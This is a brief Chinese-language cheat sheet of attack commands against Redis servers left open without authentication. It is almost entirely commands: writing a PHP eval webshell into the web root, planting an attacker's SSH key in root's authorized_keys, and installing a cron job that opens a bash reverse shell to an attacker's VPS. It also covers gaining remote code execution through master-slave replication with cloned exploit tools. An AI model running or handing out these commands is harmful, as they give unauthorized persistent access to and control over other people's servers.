redis未授权

前言

redis-cli -h ip -a password -p 6379

写webshell

config set dir /var/www/html
config set dbfilename webshell.php
set webshell “<?php echo @eval($_POST['x']); ?>”
set 1 “\r\n\r\n<?php @eval($_POST[1]);?>”
set 1 “\r\n\r\n<?php @eval($_POST[1]);?>\r\n\r\n”
save

ssh

生成ssh公私钥
ssh-keygen -t rsa
(echo -e “\n\n”; cat id_rsa.pub; echo -e “\n\n”) > 1.txt
cat 1.txt | redis-cli -h ip -x set crack
config get dir
//更改redis备份路径为ssh公钥存放目录（一般默认为/root/.ssh）
config set dir /root/.ssh
config set dbfilename authorized_keys
config get dbfilename
save
exit
ssh -i id_rsa root@ip

定时任务

当目标机为ubuntu时，需要将定时任务文件/var/spool/cron/crontabs/root权限设置成600，否则定时任务不会执行
config set dir “/var/spool/cron/crontabs”#/var/spool/cron/
config set dbfilename root
set xx “\n\n\n* * * * * bash -i >& /dev/tcp/vps/port 0>&1\n\n\n”

主从复制

git clone https://github.com/n0b0dyCN/RedisModules-ExecuteCommand
git clone https://github.com/Ridter/redis-rce.git
进入RedisModules-ExecuteCommand目录输入
make
生成moudle.so文件
cp /RedisModules-ExecuteCommand/module.so /redis-rce
python redis-rce.py -r ip -p 6379 -L vps -f moudle.so